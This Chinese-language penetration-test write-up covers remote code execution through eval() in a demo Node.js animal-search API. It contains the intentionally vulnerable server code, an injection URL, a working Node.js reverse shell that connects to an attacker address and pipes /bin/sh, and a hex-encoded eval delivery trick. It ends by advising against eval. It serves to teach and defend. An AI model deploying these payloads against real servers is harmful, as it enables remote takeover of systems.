Node.js应用的反向shell
一个小型Web开发者团队曾委托我们对他们的移动应用进行安全评估,该应用的后端是一个REST API。该应用的架构很简单,只由3台linux服务器组成:
Node.js
MongoDB
Redis
首先在不接触源码的情况下我们对应用进行了一番测试,结果发现在一些接口如果接收到了意外的数据就会导致后端程序崩溃,我们还发现redis在公网就能进行访问,并且没有鉴权。
接下来我们要做的就是审计Node.js API的代码,理清楚崩溃的原因是什么。
我们创建了一个简洁的带有漏洞的Node.js应用,你也可以自己搭建尝试利用。
这个Node.js应用会监听用户的请求,比如http://target.tld//?name=do*,获取到name参数的值后会查询对应匹配的动物名称。
'use strict'
const http = require('http');
const url = require('url');
const path = require('path');
const animalsJSON = path.join(__dirname, 'animals.json');
const animals = require(animalsJSON);
function requestHandler(req, res) {
let urlParams = url.parse(req.url, true);
let queryData = urlParams.query;
res.writeHead(200, {"Content-Type": "application/json"});
if (queryData.name) {
let searchQuery = stringToRegexp(queryData.name);
let animalsResult = getAnimals(searchQuery);
res.end(JSON.stringify(animalsResult));
} else {
res.end();
}
}
function getAnimals(query) {
let result = [];
for (let animal of animals) {
if (query.test(animal.name))
result.push(animal);
}
return result;
}
function stringToRegexp(input) {
let output = input.replace(/[\[\]\\\^\$\.\|\?\+\(\)]/, "\\$&");
let prefix, suffix;
if (output[0] == '*') {
prefix = '/';
output = output.replace(/^\*+/g, '');
} else {
prefix = '/^';
}
if (output[output.length - 1] == '*') {
suffix = '/i';
output = output.replace(/\*+$/g, '');
} else {
suffix = '$/i';
}
output = output.replace(/[\*]/, '.*');
return eval(prefix + output + suffix);
}
const server = http.createServer(requestHandler);
server.listen(3000);
[
{"name": "Dinosaur"},
{"name": "Dog"},
{"name": "Dogfish"},
{"name": "Dolphin"},
{"name": "Donkey"},
{"name": "Dotterel"},
{"name": "Dove"},
{"name": "Dragonfly"},
{"name": "Duck"}
]
在对代码进行了几分钟的分析后,我们就发现了开发者一个很不好的习惯,这个坏习惯将会导致远程命令执行。
stringToRegexp函数会创建出一个RegExp对象来对用户的输入数据进行检测,并利用这个正则表达式对象来搜索数组中的数据元素。
return eval(prefix + output + suffix); // we control output value
我们可以在output这个变量中插入任意的Javascript代码并且执行。
stringToRegexp函数会过滤一些特殊的字符并且对output变量进行审查。
["./;require('util').log('Owned');//*"]
访问如下的链接将会在服务器终端打印一条信息
http://target.tld/?name=["./;require('util').log('Owned');//*"]
这样我们就可以执行代码,然后获取到服务器的交互Shell(比如/bin/sh)。
如下的Javascript就是一个Node.js的反向连接shell。
这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
为了优雅的执行payload,我们还需要一些小技巧,我们将反向连接shell的payload用16进制进行编码,然后再用Node.js的Buffer对象来对其进行解码操作。
http://target.tld/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]
我们强烈的建议开发者们避免在JavaScript项目中使用eval函数,而修复的方法也很简单,直接使用RegExp对象来对数据进行操作即可。